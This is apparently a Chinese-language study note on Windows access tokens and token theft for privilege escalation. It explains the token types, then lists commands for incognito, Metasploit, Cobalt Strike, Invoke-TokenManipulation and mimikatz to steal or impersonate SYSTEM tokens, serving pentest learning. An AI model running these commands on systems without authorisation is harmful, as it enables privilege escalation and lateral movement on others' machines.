前言
最近在总结windows提权时,关注到了令牌窃取。也属于提权的一种姿势,这里简单学习一下。
访问令牌
产生
当用户登录系统成功后,系统会生成与这个用户账户相关联的访问令牌。每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token。一般情况下,用户双击运行一个程序,都会拷贝explorer.exe的Access Token。
简介
访问令牌(Access Token)是Windows操作系统用描述进程或者线程安全上下文的一个对象。
Windows下有两种类型的Token令牌:授权令牌和模拟令牌。
-
授权令牌(Delegation Token),也叫主令牌,是由windows内核创建并分配给进程的默认访问令牌,每一个进程有一个主令牌,它描述了与当前进程相关的用户帐户的安全上下文。用于交互式登录(如rdp登录访问)。
-
模拟令牌(Impersonation Token),所在进程的主令牌会自动附加到当前的线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。用于非交互式的会话(利用WMI进行远程访问)。
主令牌与进程相关;模拟令牌与模拟令牌的线程相关。
注:两种令牌会在系统重启或者关机后才会全部清除,不然将会一直在内存中存留。也就是说,如果机器不关机或者重启的话,就会存在散落的令牌。在系统注销后,具有授权令牌的用户会变为模拟令牌Impersonation Token,但依然有效。默认情况下,当前用户只能看到当前用户自己和比自己权限低的所有访问令牌。
组成
Windows Access Token 组成如下:
- 用户帐户的安全标识符(SID)
- 用户所属的组的SID
- 用于标识当前登录会话的登录SID
- 用户或用户组所拥有的权限列表
- 所有者SID
- 主要组的SID
- 访问控制列表
- 访问令牌的来源
- 令牌是主要令牌还是模拟令牌
- 限制SID的可选列表
- 目前的模拟等级
- 其他统计数据
令牌伪造
令牌伪造常用于进行提权、降权和横向渗透等等。
Incognito.exe工具
incognito.exe list_tokens -u 查看本地可用的token
incognito.exe -h IP -u administrator -p Password -g list_tokens -u 通过IPC远程列举tokens
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe 以指定token执行命令
image.png
metasploit
load incognito 加载incognito
list_tokens -u 列举token
getuid 查看当前token
getsystem 提升至system权限
impersonate_token "NT AUTHORITY\\SYSTEM" 模拟令牌的窃取
steal_token 1252 从进程中窃取
rev2self 返回之前token
drop_token 返回之前token
image.png
CobaltSrike
steal_token 1234 从1234进程窃取用户令牌
image.png
Invoke-TokenManipulation.ps1 脚本
从 github 下载import导入该脚本。
Invoke-TokenManipulation -Enumerate | out-file token.txt 列出当前散落的令牌,并保存到 token.txt 文件里
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM" 将当前cmd提升至system权限下
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcesId 1234 已UID的形式,提升权限
image.png
image.png
mimikatz
token::list 查看当前机器中的所有用户令牌
token::whoami 查看当前的令牌
token::Elevate 提升为system令牌
总结
想获取系统的system权限可以伪造主令牌,也可以伪造模拟令牌。
伪造主令牌时,需要创建进程或者注入到某个进程。比如steal_token命令;
伪造模拟令牌时,需要复制或者模拟线程。比如impersonate_token 命令;
如有不对,还请指正。
参考资料
Windows Access Token 学习与利用
Windows访问令牌安全探究
窃取,伪造模拟各种 windows 访问令牌 token 利用
网友评论